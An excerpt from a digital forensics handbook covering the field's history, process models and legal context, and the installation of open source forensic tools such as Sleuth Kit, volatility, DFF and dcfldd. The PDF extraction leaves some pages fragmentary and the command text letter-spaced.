Digital Forensics Handbook LucasMahler
Digital Forensics Handbook LucasMahler
net/publication/342511010
CITATIONS READS
0 5,321
1 author:
Lucas Mahler
Max Planck Institute for Biological Cybernetics
14 PUBLICATIONS 38 CITATIONS
SEE PROFILE
All content following this page was uploaded by Lucas Mahler on 28 June 2020.
BY
LUCAS MAHLER
6 Searching Files 65
6.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65
6.2 Grep . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65
6.3 Regular Expressions . . . . . . . . . . . . . . . . . . . . . . . . . 67
6.4 Searching disk images with grep . . . . . . . . . . . . . . . . . . . 69
6.5 Alternatives to grep . . . . . . . . . . . . . . . . . . . . . . . . . 70
6.5.1 Using find to search for files on Linux . . . . . . . . . . . 70
6.5.2 Search for files using locate . . . . . . . . . . . . . . . . . 71
6.6 Using Regular Expressions in Windows PowerShell . . . . . . . . 71
6.6.1 Select-String in Powershell . . . . . . . . . . . . . . . . . . 73
6.7 Resources . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73
7 File Carving 75
7.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75
7.2 File systems . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75
7.2.1 FAT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76
7.2.2 NTFS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76
7.2.3 Ext . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76
7.3 Simple Header / Footer Carving . . . . . . . . . . . . . . . . . . 77
7.4 Block-Hashed-Carving
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80
7.5 Resources . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82
CONTENTS
9 RAM Imaging 93
9.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 93
9.2 Reasons to copy RAM . . . . . . . . . . . . . . . . . . . . . . . . 94
9.3 Objectives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94
9.4 Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95
9.5 Save RAM Image and Simple Analysis . . . . . . . . . . . . . . . 95
9.5.1 Process . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95
9.6 Cold Boot Feasibility . . . . . . . . . . . . . . . . . . . . . . . . . 97
9.6.1 Goals . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97
9.6.2 Procedure . . . . . . . . . . . . . . . . . . . . . . . . . . . 98
9.6.3 Remark . . . . . . . . . . . . . . . . . . . . . . . . . . . . 98
9.7 Advanced Memory Analysis . . . . . . . . . . . . . . . . . . . . . 100
9.7.1 Goal . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100
9.7.2 Procedure . . . . . . . . . . . . . . . . . . . . . . . . . . . 100
9.8 Extra Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103
9.9 Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 106
9.10 Resources . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 106
19 Conclusion 185
20 References 187
Part I
Digital Forensics
Prerequisites
1
Chapter 1
Introduction
1.1 Preface
n 2016, solely in the United States, there were 298,7281 complaints reported
I to the Internet Crime Complaint Center, totaling in $1.33 Billion victim
loss. That’s an average of over 800 complaints a day, resulting in an average
victim loss of approximately $350.000 daily. Excluding the US, most complaints
stem from Canada followed by India and the United Kingdom, Germany plac-
ing 11th . These frightening numbers constantly rise and since 2008, the number
of reported crimes increased by 50% and the total victim loss almost increased
sevenfold. This contrasts the steadily decreasing violent and white collar crime
rates, which still outnumber the digital crimes victim losses by $14 Billion.
In the midst of the 1980s computing was made available to the masses by the
introduction of the first personal computer by IBM. This has not only allowed
selected professionals but also the public at large to get a solid grasp of this new
technology. As this group of silicon board lovers grew and the publicity of the
computer was rising, criminals also recognized this potential and the first digi-
tal crimes have not been a long time in the coming. Law enforcement directly
responded and started investigation on digital matters. The federal bureau of
investigation (FBI) then saw that further action is required and thus hosted the
first conference about digital forensics in 1993, the so called ”International Con-
ference on Computer Evidence”. This conference fired the starting pistol to the
founding of the IOCE - the International Organization on Computer Evidence
in 1995. Major issues during this forensic period were data recovery related,
due to the fact that storage was an expensive resource at that time. The rise of
commercial internet service provides (ISPs) in the late 80s and early 90s made
the yet unpopular internet more and more available but also offered a new at-
tack vector for criminals, which used dial-up telephone lines and self written
command line tools for remote access attacks. Trying to follow the traces of
such remotely executed crimes around the globe, digital forensics practitioners
1 Internet Crime Complaint Center: ”2016 Internet Crime Report”
3
CHAPTER 1. INTRODUCTION
4
CHAPTER 1. INTRODUCTION
sic definitions, goals and processes, talk about the legal system and the digital
forensics professional. Then we will conclude the chapter with discussing the
differences between digital and classical forensics.
Part II of this book then continues with the practical component of digital
forensics and will demonstrate with Chapters 5 - 18 concrete digital forensics
real world examples, so called hacks.
5
CHAPTER 1. INTRODUCTION
6
Chapter 2
7
CHAPTER 2. WHAT IS DIGITAL FORENSICS?
8
CHAPTER 2. WHAT IS DIGITAL FORENSICS?
This recording and capturing of information over private and / or public net-
works also demands special purpose tools to determine the causes and the modus
operandi of an occurred incident.
9
CHAPTER 2. WHAT IS DIGITAL FORENSICS?
computer data, the invisibility of digital information to the human eye without
the usage of proper procedures, the possibility that the process of collecting the
evidence alters data on the subject device, and since new technologies arise very
quickly nowadays, digital forensic standards and procedures can also be quickly
outdated. .Seized evidence, in order to be properly recognized as lawful, has
to be authentic, accurate, complete, convincing to the court, and on common
ground with the vernacular law and legislature. 3
Summarizing, these four main objectives can be deducted:
2. Examination, making the evidence visible and explaining the origin and
significance. The state and content of the evidence should be documented,
what allows all involved parties in this examination to discover what is
contained in the evidence, the search for hidden and obscured evidence is
hereby included. Once all evidence is clearly visible the critical task of
reducing the data at hand to the minimum.
3 cf. Vac05 p.17ff
4 cf. NIJ01 p.17f
10
CHAPTER 2. WHAT IS DIGITAL FORENSICS?
3. Analysis looks at the results from the examination phase for its signifi-
cance and probative value to the specific criminal case. Here the informa-
tion is technically reviewed by a digital forensics professional.
The US Department of Justice appends that these procedures are not all-
inlcusive, they should just give a rough framework to approach the most common
situations and the responsible digital forensics practitioners should keep their
methodology and techniques up to date, since the technology is changing with
such a rapid rate. Furthermore, these following general principles concerning
the handling of digital evidence should be applied:
These processes and procedures served as foundation for many upcoming process
models.
11
CHAPTER 2. WHAT IS DIGITAL FORENSICS?
Readiness phase:
First it has to be assured that the operations and infrastructure are able to
ensure a forensic investigation. This is subdivided in two more parts:
• The operations readiness phase, ensuring that personnel and employees
are equipped and trained for a possible incident.
• The infrastructure readiness phase, ensuring that the underlying infras-
tructure like technical devices can endure an incident.
Deployment phase:
An incident is then detected and confirmed by the deployment phase which
takes place where the crime was committed. It consists of five parts:
• Detection of the incident and notification of the appropriate people.
• Physical investigation of the crime scene and identification of potential
evidence.
• Digital crime scene investigation and seizing of digital evidence possibly
estimating the consequences of the incident.
• Confirmation of the incident and legal approval to undergo further (legal)
steps.
• Submitting the gathered evidence to legal or corporate entities.
Traceback phase:
During this phase the actual, physical scene of crime is tracked down and the
suspect devices are identified. This phase consist of:
• Investigation of the digital crime scene, where the physical crime scene is
used to trace clues obtained in digital evidences.
12
CHAPTER 2. WHAT IS DIGITAL FORENSICS?
Dynamite phase:
This stage aims at collecting and analyzing items found at the primary crime
scene to obtain further evidence and to help identifying potential culprits. These
four parts need to be considered:
Review phase:
Finally, the whole forensic investigation is reviewed and possible areas of im-
provement are identified.
13
CHAPTER 2. WHAT IS DIGITAL FORENSICS?
Furthermore, according to van Baar the following factors have to be taken into
account in order to guarantee a successful outcome of an investigation applying
digital forensics as a service:
Resource management
For successful implementation of this system, there are a lot of personnel re-
quirements to be considered. Firstly, people not specific to the digital forensics
domain are needed, such as system administrators, application administrators,
database administrators, storage administrators, infrastructure administrators
etc. having dense knowledge about their specific field and making sure the cen-
tralized storage system is protected and prevented from loss of information and
making all services available. Using this centralized approach of software, ca-
pacities like storage and processing power can be shared among all investigators.
Furthermore, a strong back up mechanism is required.
14
CHAPTER 2. WHAT IS DIGITAL FORENSICS?
Questions
Allowing all entities of the examination process to query the evidence infor-
mation directly allows each of them to maximize their expertise to come up with
more sophisticated hypotheses. In former models, if criminal detectives asked
questions they were either considered too broad or too narrow, now they have
all information immediately available and can adjust their further proceedings
accordingly.
Time frame
For small departments it makes no sense to use a distributed system for har-
vesting, reducing and analyzing traces from seized material since the system
would run in IDLE most of the time. For large scale operations, combining
multiple departments under one hood, this can be very effective since the ma-
jority of the time the system actually processes data and if digital evidence gets
available to it, it can be used to form investigation hypotheses in a more timely
manner. Thus digital forensics investigator can save time by having all neces-
sary material already at hand at any time and allows them to work from their
workstation without spending too much overhead time.
Collaboration
Enabling investigators to communicate and comment on pieces of evidence
directly within the system allows to more easily find links between evidence and
also simplifies splitting up work into useful groups.
15
CHAPTER 2. WHAT IS DIGITAL FORENSICS?
Rafferty QC, leading forensic scientist says that ”[...]until officers and prosecu-
tors take disclosure responsibilities more seriously, no improvement will result
and the likelihood of a fair trial can be jeopardised. [...] The justice system is
approaching breaking point. Its beginning to happen on both sides, prosecution
and defence. All of these cases collapsing because of disclosure [problems] are a
sign of that. The danger is that jurors faith in the justice system is being eroded
which lets down all of the witnesses in a case.” 7 Following up a sequence of
collapsed rape cases where disclosure problems led to ”unappropriate charges,
unnecessary delays in court proceedings and potential miscarriages of justice.
according to Conservative MP Bob Neill.
Constitutional Law
In the United States of America, the U.S. constitution provides the legal foun-
dation for their legal system. Due to rapid changes in the age of information, it
presents new challenges that the constitution needs to face. Freedom of speech
and free press need to also apply in cyberspace. Highly charged issues like
child pornography, spam or governmental censorship provide the courts with a
steady stream of work, all concerning the first amendment of the U.S. consti-
tution which states: ”Congress shall make no law respecting an establishment
of religion, or prohibiting the free exercise thereof; or abridging the freedom of
speech, or of the press; or the right of the people peaceably to assemble, and to
petition the government for a redress of grievances.”9 Furthermore, the right for
privacy is more ambiguous which leads to contradictions between the right of
perceived privacy and criminal prosecutions, state or governmental sponsored
espionage or terrorist plans and attacks. Thus legal acts have been introduced to
guarantee this right of privacy. The Electronic Communications Privacy
Act10 , the Stored Communications Privacy Act 11 and the pen register
Act 12 deal with the differences between technology and law. For example there
are different rules governing the capture of data in motion versus stored data
and opinions between different courts and judges concerning the very definition
of storage differ. Nance and Ryan conclude that further research in the area of
constitutional law and digital forensics is essential due to the rapid evolution in
information technology.
7 Bow18
8 cf. Nance11 p.2ff
9 Cons89
10 Cons89 2510ff
11 Cons89 2701ff
12 Cons89 3121ff
16
CHAPTER 2. WHAT IS DIGITAL FORENSICS?
Cybercrime
Digital forensics is highly concerned with the broad area involving cyber
crimes which spans across many more levels of the hierarchy shown in figure
2.2. The Consumer Fraud and Abuse Act tries to tackle the challenge of
creating specific laws allowing the investigation and prosecution of illegal cyber
activities while not restricting and protecting the value of penetration testers
and ethical hackers. Nance and Ryan state that it is of high importance that
the fluid nature of cyber crimes crossing federal and international borders needs
a lot of media attention.
Criminal Procedure
Criminal procedure, which deals with determining if someone is violating
criminal law, is of very high relevance to the area of digital forensics. More
than 50% of the amendments in the U.S. constitution deal with exactly this.
17
CHAPTER 2. WHAT IS DIGITAL FORENSICS?
Moreover, the 4th amendment, dealing with searching and seizing digital
evidence, and the USA Patriot Act are of particular interest. The global
trend of moving everything into a cloud environment is posing an immense
challenge to digital forensics and is making the criminal procedure more and
more complex as well as the high speed evolution of technologies is making it
harder for legal regulations to keep up.
Property Law
Property law not only deals with real property but also with personal property
which mostly concerns digital forensics. Problems concerning patents, trade-
marks, licensing and digital signatures are apparent. Furthermore, the protec-
tion of trade secrets falls under this category, the digital environment poses a
new threat which digital forensicians need to deal with and its becoming more
and more challenging as the storage medium of those already shifted from phys-
ical to digital and as the decentralization in to clouds advances this needs to
be taken into account as well. The Digital Millennium Copyright Act
(DMCA) tries to fulfill US commitments under WIPO treaties and extends
copyright to face the new problems of the internet age, which is influencing
digital forensics in a large scale.
Contract Law
The protection of consumers is getting increasingly harder as cyberspace poses
new possibilities to fraudulent vendors. Consumer exploitation and not fulfilling
contracts are thus new concerns digital forensics investigations need to deal with
in order to mitigate this posing threat.
Tort Law
Torts in cyberspace being ”civil actions to recover chiefly economic, reputa-
tional, or privacy-based damages arising from Internet communications such as
email, blogs, or other Internet communications”13 according to P.Sommer are
an important topic to the digital forensics community. Furthermore, tort law
interferes with digital forensics as digital assets are more and more used in tort
cases, as well as invasion of privacy,negligence and defamation especially on so-
cial networks. But despite these common use cases there are still no accurate
laws for regulating cybertort and since America is usually a stronger tort regime
than other countries, further actions need to be taken.
Evidence Law
Evidence law, also being part of other categories of the hierarchy from figure
2.2, is a frequently discussed topic. Sommers says that ”[digital] evidence is
not intrinsically different from other types of evidence; rather the problems
are raised from the fragility and the transcience of many forms of computer
evidence.14 . Also in this legal area, the challenge to keep up with the fast
13 Somm08
14 Somm08
18
CHAPTER 2. WHAT IS DIGITAL FORENSICS?
19
CHAPTER 2. WHAT IS DIGITAL FORENSICS?
20
CHAPTER 2. WHAT IS DIGITAL FORENSICS?
1. The management board shall ensure that the requisite books of account
are maintained.
2. The management board shall take suitable measures, in particular surveil-
lance measures, to ensure that developments threatening the continuation
of the company are detected early.”
Thus (1) refers to logging of data for which the management board is in charge
and (2) states that precautions need to be taken in order to ensure the business
continuity. This is supposed to provide a legal basis for the forensic readiness of
all corporations to ensure a solid ground of action for a legal examination and
hence also for digital forensics.
The right of co-determination, by Section 87 BetrVG, stays in direct conflict
to this, stating that: ”
1. The works council shall have a right of co-determination in the following
matters in so far as they are not prescribed by legislation or collective
agreement:
1. matters relating to the rules of operation of the establishment and
the conduct of employees in the establishment; [...]
6. the introduction and use of technical devices designed to monitor the
behavior or performance of the employees;[...]”
Hence, the works council has the right to determine over the monitoring actions
taken by the management board if employees right for privacy is too infringed.
So a compromise needs to be made in order to ensure the forensic readiness of
a corporation and also respect the employees right of privacy while doing so.
21
CHAPTER 2. WHAT IS DIGITAL FORENSICS?
and the convergence of the economies within the internal market, and the
well-being of individuals.”
From this follows that every human has the right for his personal data to be
protected, furthermore, the processing of this information needs to happen ac-
cordingly in order to meet the European standards for freedom security and
justice. This argument is further strengthened by Article 6 which specifies the
exact procedure of lawful processing of personal data and, for example, by article
32, dealing with the security of processing personal data, stating that ”[...]
22
CHAPTER 2. WHAT IS DIGITAL FORENSICS?
networks and operating systems can make a transition into the area of dig-
ital forensics a lot easier. Furthermore, sound knowledge of cybersecurity
is also a critical part since a digital forensic professional predominantly
deals with digital evidence and cybercrimes and hence requires insider
knowledge not only to prevent crimes but also to help solving them.
15 cf Vac05 p.22f
23
CHAPTER 2. WHAT IS DIGITAL FORENSICS?
24
Chapter 3
Open Source
As this handbook focuses on open source tools, a few things have to be taken
into account. What is open source? Open source means that the code to a
program is open and available for review. Moreover, software is considered to
be open source, if it is freely redistributable, provides access to the source code,
allows end users to modify the source code and does not restrict the use of this
code2 .
A compelling reason to use open source software is for educational purposes,
1 cf. Bran08
2 cf. Alth11 p.4
25
CHAPTER 3. THE DIGITAL FORENSICS TOOL KIT
as one can directly see the source code of the programs and thus get better
understanding of how the software actually works and if one runs into prob-
lems, there is most of the times a community of users that are ready to help.
Furthermore, open source provides great flexibility as one can use the software
without any restrictions by the vendor. Arguably the best reason for using open
source software is that if bugs get discovered by users, they can directly suggest
a solution to it which is then probably updated in the main code repository
as well and thus the bug is fixed for all users. It also makes error detection a
lot easier as the software no longer behaves like a black box system, where one
only sees the input and the output but not the internal behavior, but one has
complete insights into the internal logic of the piece of software.
26
CHAPTER 3. THE DIGITAL FORENSICS TOOL KIT
compatible with the common Linux distributions and the built in tools of the
Linux family already provides a solid foundation for building a comprehensive
Digital Forensics Tool Kit. In the following sections Parrot OS and CAINE OS
are looked at in closer detail, both provide a live examination mode and al-
ready have the most useful forensic tools pre-installed. Furthermore, the digital
forensics community provides a lot more operating systems specially tailored for
their specific needs, like SANS SIFT or DEFT, but they all follow the same ap-
proach, thus every digital forensics expert should choose the operating systems
that suits him best and get to know it in detail.
3.1.1 Parrot OS
Parrot OS is a GNU/Linux distribution based on Debian with special focus
on security, providing an extensive list of security tools already preinstalled,
privacy, including a sand boxed system for increased privacy and secure com-
munication, and development, containing full stack development environments
and text editors.
Live System
A live system is a fully featured operating system that can be booted, run-
ning on a USB flash drive, an external hard disk or any other external storage
medium. Thus the operating system is not stored on the system’s hard drive
27
CHAPTER 3. THE DIGITAL FORENSICS TOOL KIT
but only loaded into its RAM. A great benefit is that required programs can
be installed on the live USB and stored persistently and are thus available on
nearly every machine that allows booting from external devices, furthermore,
due to the small form factor of USB flash drives it allows great mobility and
flexibility.
A digital forensics professional can take great advantage of these live USB
system properties, for example he can boot a live USB on a suspect system to
analyze it without changing the state of the hard disk and could thus examine
e.g. the system configuration.
To create such a live USB of ParrotOS, first the latest ISO is required, which
can be downloaded from https://www.parrotsec.org/download-security.
php, then using the Etcher software https://etcher.io/ the ParrotOS ISO
can be burned to the USB pen drive by following the instructions in the etcher
GTK. Now the live USB is bootable and can be selected in the systems boot
menu as boot device. A more extensive documentation on how to setup a per-
sistent live USB can be found on https://docs.parrotsec.org/doku.php/
parrot-usb-live-persistence
3.1.2 CAINE OS
CAINE, the Computer Aided INvestigative Environment, is similar to Par-
rotOS a GNU/Linux distribution created as a Digital Forensics project. CAINE
is intended to be a pure live distribution and offers a complete digital forensic en-
vironment with software tools already integrated as modules and also a friendly
graphical user interface. CAINE puts its focus on3 :
3. user-friendly tools
3 CAINE18
28
CHAPTER 3. THE DIGITAL FORENSICS TOOL KIT
CAINE rejects all block devices like hard drives /dev/sda , flash drives or any
other storage medium and puts them into read-only mode. This preserves all
disks from any accidental write operation, ensuring the integrity of the evidence
in a forensic examination. If write access is needed anyways, it can be granted
using BlockOn/Off or using the Mounter. Furthermore, the CAINE policy
states that all automatic mounting operations are permitted, and full access is
only granted through the Mounter GUI or through the terminal, if the user clicks
on a device icon CAINE will only mount it in read-only mode. Moreover, CAINE
will ignore the ext3 file system driver when ext2/ext3 partitions are mounted
and will use the ext2 driver instead. This prevents any write operations to the
journaling file systems since ext2 driver in use does not journal and hence the
danger of modifying meta data on the mounted disk is mitigated.
A great tutorial on how to set up CAINE OS 8.0 can be found at:
CAINE Tutorial
Now that we have our digital forensics capable operating system ready, we
want to setup a extensive tool kit that covers us in any phase of a forensic
investigation. First, we want to make sure that basic Linux tools are installed
with their current versions and then revise the most important commands. After
that, sophisticated open source forensic tools are introduced and discussed.
29
CHAPTER 3. THE DIGITAL FORENSICS TOOL KIT
using the -v option to enable verbose output, tar outputs the path and name
of the extracted files to the terminal.
If a file is compressed using zip, which is commonly indicated by the .zip
extension, we can utilize the following command to extract the information out
of it:
$ unzip <FILENAME>
this will extract all the files from the zip archive to the current directory, by
using the option -d we can also specify a destination to where the archive shall
be extracted:
$ unzip <FILENAME> −d <DESTINATION>
configure
For building software in Linux, the GNU autotools are commonly used to
prepare and execute a build and the following commands are executed in this
sequence to build the system:
$ ./ configure
$ make
$ ( sudo ) make i n s t a l l
The configure script contains all the editable options of a source code package
and these options can be printed to the terminal via:
$ . / c o n f i g u r e −−h e l p
make
The next and final step for building software from source code is to utilize
the make command. Make reads the previously generated makefile and acts as
a compiler and linker of the available software modules and is done via:
$ make
30
CHAPTER 3. THE DIGITAL FORENSICS TOOL KIT
Python/Perl/Ruby
To not only be able to run compiled executable programs, the installation
of interpreters for the most common interpreted languages Python, Perl and
Ruby is necessary. In contrast to compiled languages like C/C++ interpreted
languages don’t need to be compiled but just run in an interpreter. Most Linux
distributions natively have python and Perl interpreters with the most common
libraries already pre-installed.
Perl
To check which version of the Perl interpreter, which is a nonshell scripting
language, is installed, we use:
$ p e r l −v
This i s p e r l 5 , v e r s i o n 2 6 , s u b v e r s i o n 1 ( v5 . 2 6 . 1 ) b u i l t f o r x86 64
−l i n u x −gnu−t h r e a d −m u l t i
Python
Equivalent to Perl, one can check which version of Python is currently in-
stalled on the system, since almost all Linux distributions come with Python
already installed, using the -V option:
$ python −V
Python 2 . 7 . 1 5 r c 1
Since Python, besides Python 2.7, has a newer version, Python3, which is not
completely backwards compatible and most of the newer software uses Python3,
one can install it like follows:
$ sudo apt−g e t i n s t a l l python3
Python does not have a packet management system by default and thus requires
its users to manage their packets themselves, but package management systems
are provided by the python community like easy install or pip and each python
user should make himself familiar with a package manager of his choice since
there are quite a few handy libraries.
Ruby
As one of the newer scripting languages Ruby is not installed by default on
all Linux distributions:
$ sudo apt−g e t i n s t a l l ruby
31
CHAPTER 3. THE DIGITAL FORENSICS TOOL KIT
Moreover, the Ruby packages, so called Gems, are managed by RubyGems, what
is to be installed manually:
$ sudo apt−g e t i n s t a l l rubygems
loop device
To be able to work with raw disk image files natively, one can use the losetup
command, to create a loop device. A loop device or also called vnd or lofi is a
pseudo-device which enables treating files as if they were actual disks, so called
block devices. The usage of losetup can be checked with the -h option:
$ l o s e t u p −h
Usage :
l o s e t u p [ o p t i o n s ] [< loopdev >]
l o s e t u p [ o p t i o n s ] −f | <loopdev > < f i l e >
S e t up and c o n t r o l l o o p d e v i c e s .
O pt i on s :
−a , −− a l l l i s t a l l used d e v i c e s
−d , −−d e t a c h <loopdev > . . . d e t a c h one o r more d e v i c e s
−D, −−detach− a l l d e t a c h a l l used d e v i c e s
−f , −−f i n d f i n d f i r s t unused d e v i c e
−c , −−s e t −c a p a c i t y <loopdev > r e s i z e the device
−j , −−a s s o c i a t e d < f i l e > l i s t a l l d e v i c e s a s s o c i a t e d with <
file >
−L , −−n o o v e r l a p a v o i d p o s s i b l e c o n f l i c t between
devices
−o , −− o f f s e t <num> s t a r t a t o f f s e t <num> i n t o f i l e
−− s i z e l i m i t <num> d e v i c e i s l i m i t e d t o <num> b y t e s o f t h e
file
−b −−s e c t o r −s i z e <num> s e t t h e l o g i c a l s e c t o r s i z e t o <num>
−P , −−p a r t s c a n create a p a r t i t i o n e d loop device
−r , −−read−o n l y s e t up a read−o n l y l o o p d e v i c e
−−d i r e c t −i o [=<on | o f f >] open b a c k i n g f i l e with O DIRECT
−−show p r i n t d e v i c e name a f t e r s e t u p ( with −f )
−v , −−v e r b o s e v e r b o s e mode
−J , −−j s o n u s e JSON −− l i s t o ut pu t f o r m a t
−l , −− l i s t l i s t i n f o about a l l o r s p e c i f i e d (
default )
−n , −−n o h e a d i n g s don ’ t p r i n t h e a d i n g s f o r −− l i s t
ou tp ut
−O, −−ou tp ut <c o l s > s p e c i f y columns t o ou tp ut f o r −− l i s t
−−raw u s e raw −− l i s t o ut pu t f o r m a t
A v a i l a b l e ou tp ut columns :
NAME l o o p d e v i c e name
AUTOCLEAR a u t o c l e a r f l a g s e t
BACK−FILE d e v i c e b a c k i n g f i l e
32
CHAPTER 3. THE DIGITAL FORENSICS TOOL KIT
BACK−INO b a c k i n g f i l e i n o d e number
BACK−MAJ: MIN b a c k i n g f i l e major : minor d e v i c e number
MAJ: MIN l o o p d e v i c e major : minor number
OFFSET o f f s e t from t h e b e g i n n i n g
PARTSCAN p a r t s c a n f l a g s e t
RO read−o n l y d e v i c e
SIZELIMIT s i z e l i m i t o f t h e f i l e i n b y t e s
DIO a c c e s s b a c k i n g f i l e with d i r e c t −i o
LOG−SEC l o g i c a l s e c t o r s i z e i n b y t e s
For more d e t a i l s s e e l o s e t u p ( 8 ) .
FUSE/AFFuse
To allow File Systems in User Space one can use the FUSE Linux kernel
module. FUSE can not only interpret file systems but also volumes and con-
tainers and furthermore allows accessing them. FUSE modules are installed
via the Linux package manager but since there is such a wide variety of FUSE
modules, the following exemplifies how to install the exFat module:
$ sudo apt−g e t i n s t a l l exFat−f u s e
AFFuse, as the name already implies is a FUSE based program, providing access
to so called AdvancedForensicFormat containers via mounting them to a user
specified directory containing a file for each stream inside of the AFF container,
which then can be accessed via the loop device. For the usage of AFFuse, the
expat library signature verification is required what can be installed like the
following4 :
$ sudo apt−g e t i n s t a l l l i b f u s e −dev l i b e x p a t 1 −dev
dd
The dd utility, short for disk dump, is nowadays present on nearly all Linux
systems and its purpose is, to put it simple, to copy and convert a file. In
Linux environments block devices and drivers are treated as normal files and
thus appear the file system. dd is able to write and read from or to these files
and hence can fulfill tasks like backing up drives, cloning them or make images
of them, furthermore dd is able to convert data that is copied on the fly what
makes it a very powerful tool not only for the average Linux user but also for
digital forensics investigators. The following code shows a short example of how
to make an disk image of the block device /dev/sda and save it as the .img file
diskimage.img:
$ dd i f =/dev / sda o f =./ d i s k i m a g e . img
33
CHAPTER 3. THE DIGITAL FORENSICS TOOL KIT
• DOS partitions
• BSD partitions
• Mac partitions
• Sun slices
• GPT disks
The sleuth kit lets one then examine the location of the partition and extract
them to further analyze them using the above mentioned file system analysis
tools.
Furthermore, the TSK Framework enables the incorporation of tools that sup-
port other types of files or other analysis written by other developers of the
open source community.
The sleuth kit provides an extensive list of features5 :
5 cf. http://www.sleuthkit.org/sleuthkit/desc.php
34
CHAPTER 3. THE DIGITAL FORENSICS TOOL KIT
• Analyzes raw (i.e. dd), Expert Witness (i.e. EnCase) and AFF file system
and disk images
• Supports the NTFS, FAT, ExFAT, UFS 1, UFS 2, EXT2FS, EXT3FS,
Ext4, HFS, ISO 9660, and YAFFS2 file systems (even when the host
operating system does not or has a different endian ordering)
• Tools can be run on a live Windows or UNIX system during Incident
Response. These tools will show files that have been ”hidden” by rootkits
and will not modify the A-Time of files that are viewed
• List allocated and deleted ASCII and Unicode file names
• Display the details and contents of all NTFS attributes
• Display file system and meta-data structure details
• Create time lines of file activity, which can be imported into a spread sheet
to create graphs and reports
• Lookup file hashes in a hash database, such as the NIST NSRL, Hash
Keeper, and custom databases that have been created with the ’md5sum’
tool
• Organize files based on their type (for example all executables, jpegs, and
documents are separated). Pages of thumbnails can be made of graphic
images for quick analysis
The newest version of TSK can be installed from source code like the following
example shows:
$ wget h t t p s : / / g i t h u b . com/ s l e u t h k i t / s l e u t h k i t / r e l e a s e s / download /
s l e u t h k i t − 4 . 6 . 1 / s l e u t h k i t − 4 . 6 . 1 . t a r . gz
$ t a r x z f s l e u t h k i t − 4 . 6 . 1 . t a r . gz
$ cd s l e u t h k i t − 4 . 6 . 1
$ ./ configure
$ make
$ sudo make i n s t a l l
volatility
Besides analyzing removable storage media, the random access memory
(RAM) of a system is also of high interest in a forensic investigation. By the
analysis of the RAM a forensic examiner can uncover malicious processes, open
connections or network activities. The volatility framework, which is based on
python, is able to analyze 32 & 64 bit Windows, Linux, Mac and even Android
systems. Volatility runs independent of the host operating system and can in-
vestigate dumps of the memory which enables to clearly see the runtime state
of the examined system. The latest release of volatility supports the following
memory formats6 :
6 https://github.com/volatilityfoundation/volatility
35
CHAPTER 3. THE DIGITAL FORENSICS TOOL KIT
36
CHAPTER 3. THE DIGITAL FORENSICS TOOL KIT
– LNK
• Supported volumes and file systems with unallocated space, deleted items,
slack space, ...
• Embeded viewers for videos, images, pdf, text, office documents, registry,
evt, evtx, sqlite, ...
To install DFF from source, one has to issue the following commands:
$ apt−g e t i n s t a l l cmake b u i l d −e s s e n t i a l s w i g python−q t 4 pyqt4−dev−
t o o l s qt4−dev−t o o l s l i b i c u −dev l i b t r e −dev qt4−l i n g u i s t −t o o l s
python−magic l i b f u s e −dev l i b u d e v −dev l i b a v f o r m a t −dev
l i b a v d e v i c e −dev l i b a v u t i l −dev l i b s w s c a l e −dev f l e x b i s o n
d e v s c r i p t s pkg−c o n f i g a u t o t o o l s −dev automake a u t o c o n f a u t o p o i n t
z l i b 1 g −dev l i b t o o l l i b s s l −dev wget s c o n s l i b t a l l o c −dev clamav
$ g i t c l o n e h t t p s : / / g i t h u b . com/ a r x s y s / d f f /
$ cd d f f
$ g i t submodule i n i t
$ g i t submodule update
$ mkdir b u i l d
$ cd b u i l d
$ cmake . .
$ make −j ‘ g e t c o n f NPROCESSORS ONLN‘
Xplico
Xplico is a networks forensics framework whose main goal it is to extract
application data contained in captured internet traffic. Xplico can extract each
email and all HTTP, FTP, TFTP etc. contents from a pcap packet capture file.
Xplico is not a network traffic capture tool but a captured traffic analyzer and
thus it can gain insights from packages containing a number of protocols like:
ARP, Radiotap, Ethernet, PPP, IPv4, IPv6, TCP, UDP, DNS, HTTP, SMTP,
POP, IMAP, SIP, MGCP, RTP, RTCP, SDP, FBchat, FTP, IPP, CHDLC, PJL,
NNTP, MMSE, Linux cooked, TFTP SNOOP, PPPoE, Telnet, Webmail, syslog,
only to name a few.
The Xplico system consists of four main components:
• Decoder Manager
• IP Decoder
• Data Manipulators
• Visualization System
Besides the control mode, xplico also provides a nice web based interface where
a user can create different cases to analyze the desired captured network traffic.
The case is composed of one or more sessions containing the actually captured
37
CHAPTER 3. THE DIGITAL FORENSICS TOOL KIT
38
CHAPTER 3. THE DIGITAL FORENSICS TOOL KIT
original dd and thus the basic work flow is very similar. dcfldd focuses on the
digital forensic needs of an disk imaging tool and provides extended functionality
in hashing, validating, activity logging, and splitting the outpit into fixed size
chunks.
The latest version of dcfldd is quite old and stems from 2006, but it is still
used and present in for example CAINE and can be acquired and installed as
follows9 :
$ wget h t t p s : / / downloads . s o u r c e f o r g e . n e t / p r o j e c t / d c f l d d / d c f l d d /
d c f l d d − 1 . 3 . 4 / d c f l d d − 1 . 3 . 4 . t a r . gz ? r=h t t p s%3A%2F%2F s o u r c e f o r g e .
n e t%2F p r o j e c t s%2F d c f l d d%2 F f i l e s %2F d c f l d d%2F d c f l d d −1.3.4%2
F d c f l d d − 1 . 3 . 4 . t a r . gz%2Fdownload%3F u s e m i r r o r%3D n e t c o l o g n e%26
download%3D&t s =1529749475
$ t a r x z f d c f l d d − 1 . 3 . 4 . t a r . gz
